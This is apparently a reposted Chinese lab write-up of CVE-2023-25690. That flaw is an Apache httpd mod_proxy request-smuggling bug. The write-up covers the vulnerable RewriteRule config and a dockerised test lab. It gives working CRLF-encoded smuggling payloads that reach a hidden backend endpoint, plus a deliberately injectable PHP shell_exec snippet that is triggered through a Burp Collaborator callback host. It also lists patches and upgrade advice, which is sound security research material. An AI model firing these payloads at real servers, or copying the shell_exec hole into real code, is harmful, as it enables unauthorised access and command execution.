Apache HTTP Server 版本2.4.0到2.4.55上的某些mod_proxy 配置允许HTTP 请求走私攻击。当启用 mod_proxy 以及某种形式的 RewriteRule 或 ProxyPassMatch 时,配置会受到影响,其中非特定模式与用户提供的请求目标 (URL) 数据的某些部分匹配,然后使用重新插入代理请求目标变量替换。例如,像这样的东西:
RewriteEngine on
RewriteRule "^/here/(.*)" "http://example.com:8080/elsewhere?$1"; [P]
ProxyPassReverse /here/ http://example.com:8080/
请求拆分/走私可能会导致绕过代理服务器中的访问控制,将非预期的 URL 代理到现有的源服务器,以及缓存中毒。建议用户至少更新到 Apache HTTP Server 版本 2.4.56。
https://ubuntu.com/security/CVE-2023-25690
https://security.snyk.io/vuln/SNYK-UBUNTU2210-APACHE2-3355688
在 apache 配置中RewriteEngine on
包含启用 URL 重写引擎。URL 重写是一种允许 Web 服务器在提供内容之前将客户端浏览器请求的 URL 动态更改为不同 URL 的技术。
例如,假设我们有以下在线电子商店的 URL 结构:
https://example-shop.com/categories/1
假设 Apache 配置文件中有以下 RewriteRule 指令:
RewriteRule "^/categories/(.*)" "http://example-shop.com:8080/categories?id=$1"; [P]
当用户请求 URL 时https://example-shop.com/categories/1
,RewriteRule 将匹配 URL 并1
使用正则表达式捕获值^/categories/(.*)
。http://example-shop.com:8080/categories?id=1
然后,该规则通过将捕获的值作为查询参数 id 附加到重写的 URL 来重写 URL 。
由于该[P]
标志存在于规则中,Apache 会将重写的 URL 视为代理请求,并将其转发到目标服务器 at ,http://example-shop.com:8080/categories
查询参数 id 设置为1
。然后目标服务器将处理请求并将响应发送回 Apache,Apache 将其转发给客户端。
总之,带有[P]
标志的 RewriteRule 指令用于重写 URL 并将它们代理到不同的服务器。在这种情况下,该规则匹配以 开头的 URL,/categories/
并将捕获的值作为查询参数 id 附加到重写的 URL。Apache 然后将请求转发到目标服务器,目标服务器处理请求并返回响应。
最后,关于ProxyPassReverse /categories/ http://example-shop.com:8080/
这一行,只需将后端服务器的域和路径替换为代理服务器的域和路径,这样客户端就可以正确地跟踪链接并访问来自代理后端服务器的内容,就像直接从代理服务器提供服务一样。
为了模拟 Apache 中的漏洞,我们将使用httpd 版本 2.4.55。此外,整个实验室将被码头化,以提高设置、配置和可重复性的便利性。 实验室文件结构如下:
lab/
├── backend
│ ├── Dockerfile
│ └── src
│ ├── categories.php
│ └── index.php
├── docker-compose.yml
└── frontend
├── Dockerfile
└── httpd.conf
最终的httpd.conf配置结构如下:
ErrorLog "/usr/local/apache2/logs/error.log"CustomLog "/usr/local/apache2/logs/access.log" common# Load necessary modules LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so<VirtualHost *:80>
RewriteEngine on
RewriteRule "^/categories/(.*)" "http://192.168.10.100:8080/categories.php?id=$1" [P]
ProxyPassReverse "/categories/" "http://192.168.10.100:8080/"</VirtualHost>
使用docker-compose.exe up --build
命令启动实验室。
mod_rewrite文档:https://httpd.apache.org/docs/2.4/mod/mod_rewrite.html
mod_proxy文档:https://httpd.apache.org/docs/2.4/mod/mod_proxy.html
在本节中,我将解释 CRLF 注入如何导致内部 HTTP 请求走私,从而使攻击者能够未经授权访问本来无法访问的内部资源。
根据咨询描述,httpd <=2.4.55 容易受到 HTTP 响应拆分(也称为 CRLF 注入)的攻击。
CRLF 注入发生在以下情况:
数据通过不受信任的来源进入 Web 应用程序,最常见的是 HTTP 请求
数据包含在发送给 Web 用户的 HTTP 响应标头中,但未针对恶意字符进行验证。
在我们的例子中,可以确认在 URL 中传递了以下 CRLF 前缀:
HTTP/1.1\r\nFoo: baarr\r\n\r\n
%20HTTP/1.1%0d%0aFoo:%20baarr
通过将上述前缀附加到 URL,生成的最终请求将如下所示:
GET /categories/1%20HTTP/1.1%0d%0aFoo:%20baarr HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
请求之后,服务器将处理数据并返回 200 响应代码,指示存在 CRLF 注入漏洞。
HTTP/1.1 200 OK
Date: Mon, 22 May 2023 02:05:28 GMT
Server: Apache/2.4.54 (Debian)
X-Powered-By: PHP/7.4.33
Content-Length: 21
Content-Type: text/html; charset=UTF-8
You category ID is: 1
可以在此处找到有关 HTTP 请求拆分的更多信息,https://owasp.org/www-community/attacks/HTTP_Response_Splitting
使用标头注入,我们将执行内部 HTTP 请求走私。
让我们从以下前缀开始:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /SMUGGLED
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED
和以下请求
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
应用重写规则,请求将转换为以下格式:
GET /categories.php?id=1 HTTP/1.1
Host: localhost
GET /SMUGGLED HTTP/1.1
Host: backend
其中编码的 URL 被解码为有效的 HTTP 语法,导致后端将解码后的数据视为第二个请求。 假设我们的内部应用有如下密码:
#Internal secret functionalityif(isset($_GET['secret'])){ $secret = $_GET['secret'];
shell_exec('nslookup ' . $secret);
}
使用以下前缀,我们可以将第二个请求发送到隐藏功能:
HTTP/1.1\r\nHost: localhost\r\n\r\nGET /categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php?secret=im8uzc5sbq7xasyxk5yhfc734uaky9.burpcollaborator.net
GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36
并检索 burp 协作者的请求:
补丁:
https://github.com/apache/httpd/commit/8789f6bb926fa4c33b4231a8444340515c82bdff
https://github.com/apache/httpd/commit/8b93a6512f14f5f68887ddfe677e91233ed79fb0
此漏洞的影响是,它允许攻击者瞄准和访问本应被反向代理隐藏的内部应用程序,从而可能导致未经授权的访问、数据泄漏或进一步利用。
原文地址:https://github.com/dhmosfunk/CVE-2023-25690-POC
点它,分享点赞在看都在这里